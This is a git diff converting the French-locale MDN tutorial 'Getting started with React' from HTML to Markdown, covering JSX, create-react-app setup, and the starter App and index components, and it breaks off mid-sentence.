b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md index ff22108290..d658e99886 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.md @@ -13,456 +13,490 @@ tags: translation_of: >- Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> - -<p>In this article we will say hello to React. We'll discover a little bit of detail about its background and use cases, set up a basic React toolchain on our local computer, and create and play with a simple starter app, learning a bit about how React works in the process.</p> +In this article we will say hello to React. We'll discover a little bit of detail about its background and use cases, set up a basic React toolchain on our local computer, and create and play with a simple starter app, learning a bit about how React works in the process. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td> - <p>Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, and <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> - - <p>React uses an HTML-in-JavaScript syntax called JSX (JavaScript and XML). Familiarity with both HTML and JavaScript will help you to learn JSX, and better identify whether bugs in your application are related to JavaScript or to the more specific domain of React.</p> - </td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To setup a local React development environment, create a start app, and understand the basics of how it works</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + <p> + Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, and + <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages, + knowledge of the + <a + href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line" + >terminal/command line</a + >. + </p> + <p> + React uses an HTML-in-JavaScript syntax called JSX (JavaScript and + XML). Familiarity with both HTML and JavaScript will help you to learn + JSX, and better identify whether bugs in your application are related + to JavaScript or to the more specific domain of React. + </p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + To setup a local React development environment, create a start app, and + understand the basics of how it works + </td> + </tr> + </tbody> </table> -<h2 id="Hello_React">Hello React</h2> - -<p>As its official tagline states, <a href="https://reactjs.org/">React</a> is a library for building user interfaces. React is not a framework – it's not even exclusive to the web. It's used with other libraries to render to certain environments. For instance, <a href="https://reactnative.dev/">React Native</a> can be used to build mobile applications; <a href="https://facebook.github.io/react-360/">React 360</a> can be used to build virtual reality applications; and there are other possibilities besides.</p> +## Hello React -<p>To build for the web, developers use React in tandem with <a href="https://reactjs.org/docs/react-dom.html">ReactDOM</a>. React and ReactDOM are often discussed in the same spaces as, and utilized to solve the same problems as, other true web development frameworks. When we refer to React as a "framework", we’re working with that colloquial understanding.</p> +As its official tagline states, [React](https://reactjs.org/) is a library for building user interfaces. React is not a framework – it's not even exclusive to the web. It's used with other libraries to render to certain environments. For instance, [React Native](https://reactnative.dev/) can be used to build mobile applications; [React 360](https://facebook.github.io/react-360/) can be used to build virtual reality applications; and there are other possibilities besides. -<p>React's primary goal is to minimize the bugs that occur when developers are building UIs. It does this through the use of components — self-contained, logical pieces of code that describe a portion of the user interface. These components can be composed together to create a full UI, and React abstracts away much of the rendering work, leaving you to concentrate on the UI design.</p> +To build for the web, developers use React in tandem with [ReactDOM](https://reactjs.org/docs/react-dom.html). React and ReactDOM are often discussed in the same spaces as, and utilized to solve the same problems as, other true web development frameworks. When we refer to React as a "framework", we’re working with that colloquial understanding. -<h2 id="Use_cases">Use cases</h2> +React's primary goal is to minimize the bugs that occur when developers are building UIs. It does this through the use of components — self-contained, logical pieces of code that describe a portion of the user interface. These components can be composed together to create a full UI, and React abstracts away much of the rendering work, leaving you to concentrate on the UI design. -<p>Unlike the other frameworks covered in this module, React does not enforce strict rules around code conventions or file organization. This allows teams to set conventions that work best for them, and to adopt React in any way they would like to. React can handle a single button, a few pieces of an interface, or an app's entire user interface.</p> +## Use cases -<p>While React <em>can</em> be used for <a href="https://reactjs.org/docs/add-react-to-a-website.html">small pieces of an interface</a>, it's not as easy to "drop into" an application as a library like jQuery, or even a framework like Vue — it is more approachable when you build your entire app with React.</p> +Unlike the other frameworks covered in this module, React does not enforce strict rules around code conventions or file organization. This allows teams to set conventions that work best for them, and to adopt React in any way they would like to. React can handle a single button, a few pieces of an interface, or an app's entire user interface. -<p>In addition, many of the developer-experience benefits of a React app, such as writing interfaces with JSX, require a compilation process. Adding a compiler like Babel to a website makes the code on it run slowly, so developers often set up such tooling with a build step. React arguably has a heavy tooling requirement, but it can be learnt.</p> +While React _can_ be used for [small pieces of an interface](https://reactjs.org/docs/add-react-to-a-website.html), it's not as easy to "drop into" an application as a library like jQuery, or even a framework like Vue — it is more approachable when you build your entire app with React. -<p>This article is going to focus on the use case of using React to render the entire user interface of an application, using tooling provided by Facebook’s own <a href="https://create-react-app.dev/">create-react-app</a> tool.</p> +In addition, many of the developer-experience benefits of a React app, such as writing interfaces with JSX, require a compilation process. Adding a compiler like Babel to a website makes the code on it run slowly, so developers often set up such tooling with a build step. React arguably has a heavy tooling requirement, but it can be learnt. -<h2 id="How_does_React_use_JavaScript">How does React use JavaScript?</h2> +This article is going to focus on the use case of using React to render the entire user interface of an application, using tooling provided by Facebook’s own [create-react-app](https://create-react-app.dev/) tool. -<p>React utilizes features of modern JavaScript for many of its patterns. Its biggest departure from JavaScript comes with the use of <a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a> syntax. JSX extends JavaScript's syntax so that HTML-like code can live alongside it. For example:</p> +## How does React use JavaScript? -<pre class="brush: js">const heading = <h1>Mozilla Developer Network</h1>;</pre> +React utilizes features of modern JavaScript for many of its patterns. Its biggest departure from JavaScript comes with the use of [JSX](https://reactjs.org/docs/introducing-jsx.html) syntax. JSX extends JavaScript's syntax so that HTML-like code can live alongside it. For example: -<p>This heading constant is known as a <strong>JSX expression</strong>. React can use it to render that <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> tag in our app.</p> +```js +const heading = <h1>Mozilla Developer Network</h1>; +``` -<p>Suppose we wanted to wrap our heading in a <code><a href="/fr/docs/Web/HTML/Element/header"><header></a></code> tag, for semantic reasons? The JSX approach allows us to nest our elements within each other, just like we do with HTML:</p> +This heading constant is known as a **JSX expression**. React can use it to render that [`<h1>`](/fr/docs/Web/HTML/Element/Heading_Elements) tag in our app. -<pre class="brush: js">const header = ( - <header> - <h1>Mozilla Developer Network</h1> - </header> -);</pre> +Suppose we wanted to wrap our heading in a [`<header>`](/fr/docs/Web/HTML/Element/header) tag, for semantic reasons? The JSX approach allows us to nest our elements within each other, just like we do with HTML: -<div class="note"> -<p><strong>Note :</strong> The parentheses in the previous snippet aren't unique to JSX, and don’t have any effect on your application. They're a signal to you (and your computer) that the multiple lines of code inside are part of the same expression. You could just as well write the header expression like this:</p> +```js +const header = ( + <header> + <h1>Mozilla Developer Network</h1> + </header> +); +``` -<pre class="brush: js">const header = <header> - <h1>Mozilla Developer Network</h1> -</header></pre> +> **Note :** The parentheses in the previous snippet aren't unique to JSX, and don’t have any effect on your application. They're a signal to you (and your computer) that the multiple lines of code inside are part of the same expression. You could just as well write the header expression like this: +> +> ```js +> const header = <header> +> <h1>Mozilla Developer Network</h1> +> </header> +> ``` +> +> However, this looks kind of awkward, because the [`<header>`](/fr/docs/Web/HTML/Element/header) tag that starts the expression is not indented to the same position as its corresponding closing tag. -<p>However, this looks kind of awkward, because the <code><a href="/fr/docs/Web/HTML/Element/header"><header></a></code> tag that starts the expression is not indented to the same position as its corresponding closing tag.</p> -</div> +Of course, your browser can't read JSX without help. When compiled (using a tool like [Babel](https://babeljs.io/) or [Parcel](https://parceljs.org/)), our header expression would look like this: -<p>Of course, your browser can't read JSX without help. When compiled (using a tool like <a href="https://babeljs.io/">Babel</a> or <a href="https://parceljs.org/">Parcel</a>), our header expression would look like this:</p> - -<pre class="brush: js">const header = React.createElement("header", null, +```js +const header = React.createElement("header", null, React.createElement("h1", null, "Mozilla Developer Network") -);</pre> - -<p>It's <em>possible</em> to skip the compilation step and use <code><a href="https://reactjs.org/docs/react-api.html#createelement">React.createElement()</a></code> to write your UI yourself. In doing this, however, you lose the declarative benefit of JSX, and your code becomes harder to read. Compilation is an extra step in the development process, but many developers in the React community think that the readability of JSX is worthwhile. Plus, popular tooling makes JSX-to-JavaScript compilation part of its setup process. You don't have to configure compilation yourself unless you want to.</p> +); +``` -<p>Because JSX is a blend of HTML and JavaScript, some developers find it intuitive. Others say that its blended nature makes it confusing. Once you're comfortable with it, however, it will allow you build user interfaces more quickly and intuitively, and allow others to better understand your code base at a glance.</p> +It's _possible_ to skip the compilation step and use [`React.createElement()`](https://reactjs.org/docs/react-api.html#createelement) to write your UI yourself. In doing this, however, you lose the declarative benefit of JSX, and your code becomes harder to read. Compilation is an extra step in the development process, but many developers in the React community think that the readability of JSX is worthwhile. Plus, popular tooling makes JSX-to-JavaScript compilation part of its setup process. You don't have to configure compilation yourself unless you want to. -<p>To read more about JSX, check out the React team's <a href="https://reactjs.org/docs/jsx-in-depth.html">JSX In Depth</a> article.</p> +Because JSX is a blend of HTML and JavaScript, some developers find it intuitive. Others say that its blended nature makes it confusing. Once you're comfortable with it, however, it will allow you build user interfaces more quickly and intuitively, and allow others to better understand your code base at a glance. -<h2 id="Setting_up_your_first_React_app">Setting up your first React app</h2> +To read more about JSX, check out the React team's [JSX In Depth](https://reactjs.org/docs/jsx-in-depth.html) article. -<p>There are many ways to use React, but we're going to use the command-line interface (CLI) tool create-react-app, as mentioned earlier, which expedites the process of developing a React application by installing some packages and creating some files for you, handling the tooling described above.</p> +## Setting up your first React app -<p>It's possible to <a href="https://reactjs.org/docs/add-react-to-a-website.html">add React to a website without create-react-app</a> by copying some <code><a href="/fr/docs/Web/HTML/Element/script"><script></a></code> elements into an HTML file, but the create-react-app CLI is a common starting point for React applications. Using it will allow you spend more time building your app, and less time fussing with setup.</p> +There are many ways to use React, but we're going to use the command-line interface (CLI) tool create-react-app, as mentioned earlier, which expedites the process of developing a React application by installing some packages and creating some files for you, handling the tooling described above. -<h3 id="Requirements">Requirements</h3> +It's possible to [add React to a website without create-react-app](https://reactjs.org/docs/add-react-to-a-website.html) by copying some [`<script>`](/fr/docs/Web/HTML/Element/script) elements into an HTML file, but the create-react-app CLI is a common starting point for React applications. Using it will allow you spend more time building your app, and less time fussing with setup. -<p>In order to use create-react-app, you need to have <a href="https://nodejs.org/en/">Node.js</a> installed. It's recommended that you use the long-term support (LTS) version. Node includes npm (the node package manager), and npx (the node package runner).</p> +### Requirements -<p>You may also use the Yarn package manager as an alternative, but we'll assume you are using npm in this set of tutorials. See <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Package management basics</a> for more information on npm and yarn.</p> +In order to use create-react-app, you need to have [Node.js](https://nodejs.org/en/) installed. It's recommended that you use the long-term support (LTS) version. Node includes npm (the node package manager), and npx (the node package runner). -<p>If you're using Windows, you will need to install some software to give you parity with Unix/macOS terminal in order to use the terminal commands mentioned in this tutorial. <strong>Gitbash</strong> (which comes as part of the <a href="https://gitforwindows.org/">git for Windows toolset</a>) or <strong><a href="https://docs.microsoft.com/en-us/windows/wsl/about">Windows Subsystem for Linux</a></strong> (<strong>WSL</strong>) are both suitable. See <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">Command line crash course</a> for more information on these, and on terminal commands in general.</p> +You may also use the Yarn package manager as an alternative, but we'll assume you are using npm in this set of tutorials. See [Package management basics](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management) for more information on npm and yarn. -<p>Also bear in mind that React and ReactDOM produce apps that only work on a fairly modern set of browsers — IE9+ by way of some polyfills. It is recommended that you use a modern browser like Firefox, Safari, or Chrome when working through these tutorials.</p> +If you're using Windows, you will need to install some software to give you parity with Unix/macOS terminal in order to use the terminal commands mentioned in this tutorial. **Gitbash** (which comes as part of the [git for Windows toolset](https://gitforwindows.org/)) or **[Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/about)** (**WSL**) are both suitable. See [Command line crash course](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line) for more information on these, and on terminal commands in general. -<p>Also see the following for more information:</p> +Also bear in mind that React and ReactDOM produce apps that only work on a fairly modern set of browsers — IE9+ by way of some polyfills. It is recommended that you use a modern browser like Firefox, Safari, or Chrome when working through these tutorials. -<ul> - <li><a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-npm/">"What is npm" on nodejs.org</a></li> - <li><a href="https://blog.npmjs.org/post/162869356040/introducing-npx-an-npm-package-runner">"Introducing npx" on the npm blog</a></li> - <li><a href="https://create-react-app.dev/">The create-react-app documentation</a></li> -</ul> +Also see the following for more information: -<h3 id="Initializing_your_app">Initializing your app</h3> +- ["What is npm" on nodejs.org](https://nodejs.org/en/knowledge/getting-started/npm/what-is-npm/) +- ["Introducing npx" on the npm blog](https://blog.npmjs.org/post/162869356040/introducing-npx-an-npm-package-runner) +- [The create-react-app documentation](https://create-react-app.dev/) -<p>create-react-app takes one argument: the name you'd like to give your app. create-react-app uses this name to make a new directory, then creates the necessary files inside it. Make sure you <code>cd</code> to the place you'd like your app to live on your hard drive, then run the following in your terminal:</p> +### Initializing your app -<pre class="brush: bash">npx create-react-app moz-todo-react</pre> +create-react-app takes one argument: the name you'd like to give your app. create-react-app uses this name to make a new directory, then creates the necessary files inside it. Make sure you `cd` to the place you'd like your app to live on your hard drive, then run the following in your terminal: -<p>This creates a <code>moz-todo-react</code> directory, and does several things inside it:</p> +```bash +npx create-react-app moz-todo-react +``` -<ul> - <li>Installs some npm packages essential to the functionality of the app.</li> - <li>Writes scripts for starting and serving the application.</li> - <li>Creates a structure of files and directories that define the basic app architecture.</li> - <li>Initializes the directory as a git repository, if you have git installed on your computer.</li> -</ul> +This creates a `moz-todo-react` directory, and does several things inside it: -<div class="note"> -<p><strong>Note :</strong> if you have the yarn package manager installed, create-react-app will default to using it instead of npm. If you have both package managers installed and explicitly want to use NPM, you can add the flag <code>--use-npm</code> when you run create-react-app:</p> +- Installs some npm packages essential to the functionality of the app. +- Writes scripts for starting and serving the application. +- Creates a structure of files and directories that define the basic app architecture. +- Initializes the directory as a git repository, if you have git installed on your computer. -<pre class="brush: bash">npx create-react-app moz-todo-react --use-npm</pre> -</div> +> **Note :** if you have the yarn package manager installed, create-react-app will default to using it instead of npm. If you have both package managers installed and explicitly want to use NPM, you can add the flag `--use-npm` when you run create-react-app: +> +> ```bash +> npx create-react-app moz-todo-react --use-npm +> ``` -<p>create-react-app will display a number of messages in your terminal while it works; this is normal! This might take a few minutes, so now might be a good time to go make a cup of tea.</p> +create-react-app will display a number of messages in your terminal while it works; this is normal! This might take a few minutes, so now might be a good time to go make a cup of tea. -<p>When the process is complete, <code>cd</code> into the <code>moz-todo-react</code> directory and run the command <code>npm start</code>. The scripts installed by create-react-app will start being served at a local server at localhost:3000, and open the app in a new browser tab. Your browser will display something like this:</p> +When the process is complete, `cd` into the `moz-todo-react` directory and run the command `npm start`. The scripts installed by create-react-app will start being served at a local server at localhost:3000, and open the app in a new browser tab. Your browser will display something like this: -<p><img alt="Screenshot of Firefox MacOS, open to localhost:3000, showing the default create-react-app application" src="default-create-react-app.png"></p> + -<h3 id="Application_structure">Application structure</h3> +### Application structure -<p>create-react-app gives us everything we need to develop a React application. Its initial file structure looks like this:</p> +create-react-app gives us everything we need to develop a React application. Its initial file structure looks like this: -<pre>moz-todo-react -├── README.md -├── node_modules -├── package.json -├── package-lock.json -├── .gitignore -├── public -│ ├── favicon.ico -│ ├── index.html -│ └── manifest.json -└── src - ├── App.css - ├── App.js - ├── App.test.js - ├── index.css - ├── index.js - ├── logo.svg - └── serviceWorker.js</pre> + moz-todo-react + ├── README.md + ├── node_modules + ├── package.json + ├── package-lock.json + ├── .gitignore + ├── public + │ ├── favicon.ico + │ ├── index.html + │ └── manifest.json + └── src + ├── App.css + ├── App.js + ├── App.test.js + ├── index.css + ├── index.js + ├── logo.svg + └── serviceWorker.js -<p>The <strong><code>src</code></strong> directory is where we'll spend most of our time, as it's where the source code for our application lives.</p> +The **`src`** directory is where we'll spend most of our time, as it's where the source code for our application lives. -<p>The <strong><code>public</code></strong> directory contains files that will be read by your browser while you're developing the app; the most important of these is <code>index.html</code>. React injects your code into this file so that your browser can run it. There's some other markup that helps create-react-app function, so take care not to edit it unless you know what you're doing. You very much should change the text inside the <code><a href="/fr/docs/Web/HTML/Element/title"><title></a></code> element in this file to reflect the title of your application. Accurate page titles are important for accessibility!</p> +The **`public`** directory contains files that will be read by your browser while you're developing the app; the most important of these is `index.html`. React injects your code into this file so that your browser can run it. There's some other markup that helps create-react-app function, so take care not to edit it unless you know what you're doing. You very much should change the text inside the [`<title>`](/fr/docs/Web/HTML/Element/title) element in this file to reflect the title of your application. Accurate page titles are important for accessibility! -<p>The <code>public</code> directory will also be published when you build and deploy a production version of your app. We won’t cover deployment in this tutorial, but you should be able to use a similar solution to that described in our <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Deploying our app</a> tutorial.</p> +The `public` directory will also be published when you build and deploy a production version of your app. We won’t cover deployment in this tutorial, but you should be able to use a similar solution to that described in our [Deploying our app](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment) tutorial. -<p>The <code>package.json</code> file contains information about our project that Node.js/npm uses to keep it organized. This file is not unique to React applications; create-react-app merely populates it. You don't need to understand this file at all to complete this tutorial, however, if you'd like to learn more about it, you can read <a href="https://nodejs.org/en/knowledge/getting-started/npm/what-is-the-file-package-json/">What is the file `package.json`? on NodeJS.org</a>; we also talk about it in our <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Package management basics</a> tutorial.</p> +The `package.json` file contains information about our project that Node.js/npm uses to keep it organized. This file is not unique to React applications; create-react-app merely populates it. You don't need to understand this file at all to complete this tutorial, however, if you'd like to learn more about it, you can read [What is the file \`package.json\`? on NodeJS.org](https://nodejs.org/en/knowledge/getting-started/npm/what-is-the-file-package-json/); we also talk about it in our [Package management basics](/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management) tutorial. -<h2 id="Exploring_our_first_React_component_—_<App>">Exploring our first React component — <code><App/></code></h2> +## Exploring our first React component — `<App/>` -<p>In React, a <strong>component</strong> is a reusable module that renders a part of our app. These parts can be big or small, but they are usually clearly defined: they serve a single, obvious purpose.</p> +In React, a **component** is a reusable module that renders a part of our app. These parts can be big or small, but they are usually clearly defined: they serve a single, obvious purpose. -<p>Let's open <code>src/App.js</code>, since our browser is prompting us to edit it. This file contains our first component, <code>App</code>, and a few other lines of code:</p> +Let's open `src/App.js`, since our browser is prompting us to edit it. This file contains our first component, `App`, and a few other lines of code: -<pre class="brush: js">import React from 'react'; +```js +import React from 'react'; import logo from './logo.svg'; import './App.css'; function App() { return ( - <div className="App"> - <header className="App-header"> - <img src={logo} className="App-logo" alt="logo" /> - <p> - Edit <code>src/App.js</code> and save to reload. - </p> - <a + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Edit <code>src/App.js</code> and save to reload. + </p> + <a className="App-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" - > + > Learn React - </a> - </header> - </div> + </a> + </header> + </div> ); } -export default App;</pre> +export default App; +``` -<p>The <code>App.js</code> file consists of three main parts: some <code><a href="/fr/docs/Web/JavaScript/Reference/Statements/import">import</a></code> statements at the top, the <code>App</code> component in the middle, and an <code><a href="/fr/docs/Web/JavaScript/Reference/Statements/export">export</a></code> statement at the bottom. Most React components follow this pattern.</p> +The `App.js` file consists of three main parts: some [`import`](/fr/docs/Web/JavaScript/Reference/Statements/import) statements at the top, the `App` component in the middle, and an [`export`](/fr/docs/Web/JavaScript/Reference/Statements/export) statement at the bottom. Most React components follow this pattern. -<h3 id="Import_statements">Import statements</h3> +### Import statements -<p>The <code>import</code> statements at the top of the file allow <code>App.js</code> to use code that has been defined elsewhere. Let's look at these statements more closely.</p> +The `import` statements at the top of the file allow `App.js` to use code that has been defined elsewhere. Let's look at these statements more closely. -<pre class="brush: js">import React from 'react'; +```js +import React from 'react'; import logo from './logo.svg'; -import './App.css';</pre> +import './App.css'; +``` -<p>The first statement imports the React library itself. Because React turns the JSX we write into <code>React.createElement()</code>, all React components must import the <code>React</code> module. If you skip this step, your application will produce an error.</p> +The first statement imports the React library itself. Because React turns the JSX we write into `React.createElement()`, all React components must import the `React` module. If you skip this step, your application will produce an error. -<p>The second statement imports a logo from <code>'./logo.svg'</code>. Note the <code>./</code> at the beginning of the path, and the <code>.svg</code> extension at the end — these tell us that the file is local and that it is not a JavaScript file. Indeed, the <code>logo.svg</code> file lives in our source directory.</p> +The second statement imports a logo from `'./logo.svg'`. Note the `./` at the beginning of the path, and the `.svg` extension at the end — these tell us that the file is local and that it is not a JavaScript file. Indeed, the `logo.svg` file lives in our source directory. -<p>We don't write a path or extension when importing the <code>React</code> module — this is not a local file; instead, it is listed as a dependency in our <code>package.json</code> file. Be careful of this distinction as you work through this lesson!</p> +We don't write a path or extension when importing the `React` module — this is not a local file; instead, it is listed as a dependency in our `package.json` file. Be careful of this distinction as you work through this lesson! -<p>The third statement imports the CSS related to our App component. Note that there is no variable name and no <code>from</code> directive. This particular import syntax is not native to JavaScript module syntax – it comes from Webpack, the tool create-react-app uses to bundle all our JavaScript files together and serve them to the browser.</p> +The third statement imports the CSS related to our App component. Note that there is no variable name and no `from` directive. This particular import syntax is not native to JavaScript module syntax – it comes from Webpack, the tool create-react-app uses to bundle all our JavaScript files together and serve them to the browser. -<h3 id="The_App_component">The <code>App</code> component</h3> +### The `App` component -<p>After the imports, we have a function named <code>App</code>. Whereas most of the JavaScript community prefers camel-case names like <code>helloWorld</code>, React components use pascal-case variable names, like <code>HelloWorld</code>, to make it clear that a given JSX element is a React component, and not a regular HTML tag. If you were to rename the <code>App</code> function to <code>app</code>, your browser would show you an error.</p> +After the imports, we have a function named `App`. Whereas most of the JavaScript community prefers camel-case names like `helloWorld`, React components use pascal-case variable names, like `HelloWorld`, to make it clear that a given JSX element is a React component, and not a regular HTML tag. If you were to rename the `App` function to `app`, your browser would show you an error. -<p>Let's look at App more closely.</p> +Let's look at App more closely. -<pre class="brush: js">function App() { +```js +function App() { return ( - <div className="App"> - <header className="App-header"> - <img src={logo} className="App-logo" alt="logo" /> - <p> - Edit <code>src/App.js</code> and save to reload. - </p> - <a + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Edit <code>src/App.js</code> and save to reload. + </p> + <a className="App-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" - > + > Learn React - </a> - </header> - </div> + </a> + </header> + </div> ); -}</pre> +} +``` -<p>The <code>App</code> function returns a JSX expression. This expression defines what your browser ultimately renders to the DOM.</p> +The `App` function returns a JSX expression. This expression defines what your browser ultimately renders to the DOM. -<p>Some elements in the expression have attributes, which are written just like in HTML, following a pattern of <code>attribute="value"</code>. On line 3, the opening <code><a href="/fr/docs/Web/HTML/Element/div"><div></a></code> tag has a <code>className</code> attribute. This is the same as the <code><a href="/fr/docs/Web/HTML/Global_attributes/class">class</a></code> attribute in HTML, but because JSX is JavaScript, we can't use the word <code>class</code> – it's reserved, meaning JavaScript already uses it for a specific purpose and it would cause problems here in our code. A few other HTML attributes are written differently in JSX than they are in HTML too, for the same kind of reason. We'll cover them as we encounter them.</p> +Some elements in the expression have attributes, which are written just like in HTML, following a pattern of `attribute="value"`. On line 3, the opening [`<div>`](/fr/docs/Web/HTML/Element/div) tag has a `className` attribute. This is the same as the [`class`](/fr/docs/Web/HTML/Global_attributes/class) attribute in HTML, but because JSX is JavaScript, we can't use the word `class` – it's reserved, meaning JavaScript already uses it for a specific purpose and it would cause problems here in our code. A few other HTML attributes are written differently in JSX than they are in HTML too, for the same kind of reason. We'll cover them as we encounter them. -<p>Take a moment to change the <code><a href="/fr/docs/Web/HTML/Element/p"><p></a></code> tag on line 6 so that it reads "Hello, world!", then save your file. You'll notice that this change is immediately rendered in the development server running at <code>http://localhost:3000</code> in your browser. Now delete the <code><a href="/fr/docs/Web/HTML/Element/a"><a></a></code> tag and save; the "Learn React" link will be gone.</p> +Take a moment to change the [`<p>`](/fr/docs/Web/HTML/Element/p) tag on line 6 so that it reads "Hello, world!", then save your file. You'll notice that this change is immediately rendered in the development server running at `http://localhost:3000` in your browser. Now delete the [`<a>`](/fr/docs/Web/HTML/Element/a) tag and save; the "Learn React" link will be gone. -<p>Your <code>App</code> component should now look like this:</p> +Your `App` component should now look like this: -<pre class="brush: js">function App() { +```js +function App() { return ( - <div className="App"> - <header className="App-header"> - <img src={logo} className="App-logo" alt="logo" /> - <p> + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> Hello, World! - </p> - </header> - </div> + </p> + </header> + </div> ); -}</pre> +} +``` -<h3 id="Export_statements">Export statements</h3> +### Export statements -<p>At the very bottom of the <code>App.js</code> file, the statement <code>export default App</code> makes our <code>App</code> component available to other modules.</p> +At the very bottom of the `App.js` file, the statement `export default App` makes our `App` component available to other modules. -<h2 id="Interrogating_the_index">Interrogating the index</h2> +## Interrogating the index -<p>Let’s open <code>src/index.js</code>, because that's where the <code>App</code> component is being used. This file is the entry point for our app, and it initially looks like this:</p> +Let’s open `src/index.js`, because that's where the `App` component is being used. This file is the entry point for our app, and it initially looks like this: -<pre class="brush: js">import React from 'react'; +```js +import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import App from './App'; import * as serviceWorker from './serviceWorker'; -ReactDOM.render(<App />, document.getElementById('root')); +ReactDOM.render(<App />, document.getElementById('root')); // If you want your app to work offline and load faster, you can change // unregister() to register() below. Note this comes with some pitfalls. // Learn more about service workers: https://bit.ly/CRA-PWA -serviceWorker.unregister();</pre> +serviceWorker.unregister(); +``` -<p>As with <code>App.js</code>, the file starts by importing all the JS modules and other assets it needs to run. <code>src/index.css</code> holds global styles that are applied to our whole app. We can also see our <code>App</code> component imported here; it is made available for import thanks to the <code>export</code> statement at the bottom of <code>App.js</code>.</p> +As with `App.js`, the file starts by importing all the JS modules and other assets it needs to run. `src/index.css` holds global styles that are applied to our whole app. We can also see our `App` component imported here; it is made available for import thanks to the `export` statement at the bottom of `App.js`. -<p>Line 7 calls React’s <code>ReactDOM.render()</code> function with two arguments:</p> +Line 7 calls React’s `ReactDOM.render()` function with two arguments: -<ul> - <li>The component we want to render, <code><App /></code> in this case.</li> - <li>The DOM element inside which we want the component to be rendered, in this case the element with an ID of <code>root</code>. If you look inside <code>public/index.html</code>, you'll see that this is a <code><div></code> element just inside the <code><body></code>.</li> -</ul> +- The component we want to render, `<App />` in this case. +- The DOM element inside which we want the component to be rendered, in this case the element with an ID of `root`. If you look inside `public/index.html`, you'll see that this is a `<div>` element just inside the `<body>`. -<p>All of this tells React that we want to render our React application with the <code>App</code> component as the root, or first component.</p> +All of this tells React that we want to render our React application with the `App` component as the root, or first component. -<div class="note"> -<p><strong>Note :</strong>: In JSX, React components and HTML elements must have closing slashes. Writing just <code><App></code> or just <code><img></code> will cause an error.</p> -</div> +> **Note :**: In JSX, React components and HTML elements must have closing slashes. Writing just `<App>` or just `<img>` will cause an error. -<p><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article. You can delete line 5, as well as lines 9 through 12.</p> +[Service workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they’re not in scope for this article. You can delete line 5, as well as lines 9 through 12. -<p>Your final <code>index.js</code> file should look like this:</p> +Your final `index.js` file should look like this: -<pre class="brush: js">import React from 'react'; +```js +import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import App from './App'; -ReactDOM.render(<App />, document.getElementById('root'));</pre> +ReactDOM.render(<App />, document.getElementById('root')); +``` -<h2 id="Variables_and_props">Variables and props</h2> +## Variables and props -<p>Next, we'll use a few of our JavaScript skills to get a bit more comfortable editing components and working with data in React. We'll talk about how variables are used inside JSX, and introduce props, which are a way of passing data into a component (which can then be accessed using variables).</p> +Next, we'll use a few of our JavaScript skills to get a bit more comfortable editing components and working with data in React. We'll talk about how variables are used inside JSX, and introduce props, which are a way of passing data into a component (which can then be accessed using variables). -<h3 id="Variables_in_JSX">Variables in JSX</h3> +### Variables in JSX -<p>Back in <code>App.js</code>, let’s focus on line 9:</p> +Back in `App.js`, let’s focus on line 9: -<pre class="brush: js"><img src={logo} className="App-logo" alt="logo" /></pre> +```js +<img src={logo} className="App-logo" alt="logo" /> +``` -<p>Here, the <code><img /></code> tag's <code>src</code> attribute value is in curly braces. This is how JSX recognizes variables. React will see <code>{logo}</code>, know you are referring to the logo import on line 2 of our app, then retrieve the logo file and render it.</p> +Here, the `<img />` tag's `src` attribute value is in curly braces. This is how JSX recognizes variables. React will see `{logo}`, know you are referring to the logo import on line 2 of our app, then retrieve the logo file and render it. -<p>Let's try making a variable of our own. Before the return 